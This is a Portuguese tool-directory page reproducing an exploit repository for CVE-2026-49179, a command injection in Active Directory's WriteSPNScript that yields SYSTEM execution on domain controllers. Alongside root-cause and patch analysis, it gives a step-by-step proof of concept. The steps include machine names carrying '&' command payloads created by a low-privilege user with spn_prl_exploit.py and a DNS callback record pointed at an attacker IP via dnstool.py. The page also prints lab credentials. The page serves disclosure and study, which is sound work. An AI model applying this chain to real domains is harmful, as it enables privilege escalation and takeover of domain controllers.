Skip to content
KitploitKITPLOIT
FerramentasExploitsBlog
Log in
Enviar
FerramentasExploitsBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

FeedsContatoPrivacidade© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2026-49179-Active-Directory-WriteSPNScript-Command-Injection — Prova de conceito e scripts de exploit para CVE-2026-49179, uma injeção de comando na função WriteSPNScript do Active Directory que permite RCE como SYSTEM em controladores de domínio. | Kitploit
Ferramentas/GitHubGitHub/overgrowncarrot1/cve-2026-49179-active-directory-writespnscript-command-injection
Escalada de PrivilégiosAnálise de VulnerabilidadesExploraçãoTestes de Penetração
GitHubovergrowncarrot1/cve-2026-49179-active-directory-writespnscript-command-injection

CVE-2026-49179-Active-Directory-WriteSPNScript-Command-Injection

Prova de conceito e scripts de exploit para CVE-2026-49179, uma injeção de comando na função WriteSPNScript do Active Directory que permite RCE como SYSTEM em controladores de domínio.

Ver Repositório

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar
5254há 1 mêsAinda não revisado

CVE-2026-49179: Injeção de Comando no WriteSPNScript do Active Directory

Resumo

CampoValor
ID CVECVE-2026-49179
CVSS8.8 (AV:N/AC:L/PR:L/UI:N)
CWECWE-77 (Injeção de Comando)
Componente Afetadontdsai.dll — função WriteSPNScript
Sistemas AfetadosWindows Server 2016, 2019, 2022, 2025 (sem patch)
Vetor de AtaqueUsuário de domínio autenticado (qualquer)
ImpactoExecução Remota de Código como SYSTEM no Controlador de Domínio
PublicadoAgosto de 2026

Descrição da Vulnerabilidade

A função WriteSPNScript em ntdsai.dll gera comandos de script em lote para remediação de SPN (Service Principal Name) durante operações de manutenção do Active Directory. A função usa uma string de formato para construir comandos repadmin.exe /writespn, mas falha ao sanitizar o parâmetro Distinguished Name (DN), permitindo injeção de comando através do caractere & (separador de comandos do cmd.exe).

A string de formato vulnerável:

%ws\repadmin.exe /writespn %ws %ws %ws\r\n

Parâmetros: SystemDir, WriteOp (ADD/DELETE), DN, SPN_value

O DN é derivado do Common Name (CN) da conta de máquina, que é definido durante a criação da conta. Quando uma conta de máquina é criada com metacaracteres de shell em seu nome, esses caracteres fluem sem escape para o script gerado. Quando o cmd.exe executa o script, & atua como separador de comandos, executando comandos controlados pelo atacante como SYSTEM.

Análise da Causa Raiz

A Lacuna de Validação: SAMR vs LDAP

O Active Directory possui dois protocolos principais para gerenciar contas de máquina:

ProtocoloValidação de CaracteresMetacaracteres de Shell
LDAP (valores de SPN)Estrita — CONSTRAINT_ATT_TYPE rejeita & ; | ' \ $ ( )`Bloqueado
SAMR (nomes de máquina)Frouxa — valida o formato básico do nome da contaPermitido: & ' \ $ ( ) ! espaço`

Essa assimetria de validação é a causa raiz:

  • A validação de SPN via LDAP bloqueia todos os caracteres perigosos em valores de SPN (beco sem saída para injeção via SPN)
  • A criação de conta via SAMR permite metacaracteres de shell em sAMAccountName, que se torna o CN e flui para o DN
  • O DN é passado para WriteSPNScript sem sanitização

Código Vulnerável (ntdsai.dll base)

No endereço 0x1802a98a0 no binário não corrigido:

void WriteSPNScript(... longlong param_4 /* DN */, longlong *param_5 /* SPNs */, ...)
{
    STRSAFE_LPSTR pszDest;  // ANSI output buffer
    char local_288[47];     // Format: "%ws\repadmin.exe /writespn %ws %ws %ws\r\n"
    WCHAR local_258[264];   // System directory

    GetSystemDirectoryW(local_258, 0x104);

    // Calculate buffer size (sum of all string lengths + overhead)
    uVar4 = len(sysdir) + len(writeop) + len(spn_value) + len(dn) + 0x2f;

    // Allocate and format — NO ESCAPING of DN or SPN parameters
    pszDest = THAlloc_(param_1, 1, uVar4, 1);
    StringCchPrintfA(pszDest, uVar4, local_288, local_258);

    // Write to script file handle
    WriteFile(handle, pszDest, len, &bytesWritten, NULL);
}

StringCchPrintfA formata o DN diretamente no buffer de saída. Sem escape, sem aspas, sem sanitização.

Saída Gerada (Vulnerável)

Para uma máquina com CN=A&ping attacker&B:

C:\Windows\System32\repadmin.exe /writespn ADD CN=A&ping attacker&B,CN=Computers,DC=domain,DC=local HOST/A&ping attacker&B

cmd.exe interpreta isso como cinco instruções separadas:

#InstruçãoResultado
1C:\...\repadmin.exe /writespn ADD CN=AFalha (DN truncado)
2ping attackerINJETADO — executa como SYSTEM
3B,CN=Computers,DC=... HOST/AFalha (não é um comando válido)
4ping attackerINJETADO — executa novamente (a partir do parâmetro SPN)
5BFalha (não é um comando válido)

O comando injetado aparece duas vezes — uma vez a partir do parâmetro DN e outra a partir do parâmetro SPN (que também contém o nome da máquina).

Análise do Patch

O WriteSPNScript corrigido (tamanho: 1477 → 2005 bytes) faz três alterações:

1. Funções de Escape Adicionadas

Duas novas funções de sanitização aplicadas a ambos os parâmetros DN e SPN:

  • EscapeForPowerShellSingleQuote() — escapa ' para evitar a quebra de strings entre aspas simples
  • EscapeForNativeArgvBackslashesBeforeDoubleQuote() — escapa sequências \ antes de " para o parsing nativo de argv

2. Alteração do Formato de Saída

Base (Vulnerável)Corrigido
FunçãoStringCchPrintfA (ANSI)StringCchPrintfW (Wide/Unicode)
AspasNenhumaParâmetros entre aspas simples
Saídarepadmin /writespn ADD DN SPNrepadmin /writespn ADD 'escaped_DN' 'escaped_SPN'

3. Feature Flag Removida

Uma revisão anterior tinha uma feature flag Feature_Servicing_SPN_alias_WRITE_PROP_check_37148918__private_IsEnabled controlando a correção. No patch final, essa flag foi removida — a correção está sempre ativa e não pode ser desativada.

Prova de Conceito

Ambiente de Teste

HostFunçãoIPSO
WINTERFELLControlador de Domínio192.168.56.11Windows Server 2019
AttackerKali Linux192.168.14.238Kali 2026
Domínionorth.sevenkingdoms.local
Usuário de baixo privilégiosamwell.tarly / HeartsbaneUsuário de domínio normal
Usuário administradorrobb.stark / sexywolfyAdministrador de domínio

Passo 1: Confirmar que o SAMR Aceita Metacaracteres de Shell

Usando spn_probe3.py, testou-se quais caracteres o SAMR aceita em nomes de contas de máquina versus quais o LDAP aceita em valores de SPN:

SAMR Machine Name Character Test (as samwell.tarly):
  [+] ACCEPTED  '   (single quote)     -> INJECT'A$  RID: 1123
  [+] ACCEPTED  `   (backtick)         -> INJECT`A$  RID: 1124
  [+] ACCEPTED  &   (ampersand)        -> INJECT&A$  RID: 1125
  [+] ACCEPTED  $   (dollar sign)      -> INJECT$A$  RID: 1126
  [+] ACCEPTED  (   (left paren)       -> INJECT(A$  RID: 1127
  [+] ACCEPTED  )   (right paren)      -> INJECT)A$  RID: 1128
  [+] ACCEPTED  !   (exclamation)      -> INJECT!A$  RID: 1129
  [+] ACCEPTED  ' ' (space)            -> INJECT A$  RID: 1130

LDAP SPN Validation (all 28 shell metacharacters tested):
  [-] ALL REJECTED with constraintViolation (DSID-033E109C)

Descoberta principal: O SAMR permite todos os 8 metacaracteres de shell testados. O LDAP bloqueia todos eles. O vetor de injeção é através de nomes de máquina criados via SAMR, não através de valores de SPN.

Passo 2: Criar máquina de injeção como usuário de domínio normal

$ python3 spn_prl_exploit.py 192.168.56.11 \
    -d north.sevenkingdoms.local \
    -u samwell.tarly -p Heartsbane --payload benign

[*] Creating machine via SAMR: 'A&echo POC&B$'
[+] Created A&echo POC&B$, RID: 1137

Também criado como samwell.tarly:

[+] Created C&ping a&D$, RID: 1138

Confirmado: um usuário de domínio normal (PR:L) pode criar contas de máquina com injeção de comando & no nome.

Passo 3: Adicionar registro DNS para callback (como usuário normal)

Usuários de domínio normais podem adicionar registros ADIDNS. Usei dnstool.py para criar um hostname curto apontando para o atacante:

python3 dnstool.py -u 'north.sevenkingdoms.local\samwell.tarly' -p 'Heartsbane' \
    -r a.north.sevenkingdoms.local -a add -d 192.168.14.238 192.168.56.11

Resolução verificada no DC:

*Evil-WinRM* PS> nslookup a.north.sevenkingdoms.local
Name:    a.north.sevenkingdoms.local
Address:  192.168.14.238

Etapa 4: Verificar Injeção de Comando no DC

Simulando a saída exata que WriteSPNScript geraria, executada no DC:

Baixar ferramenta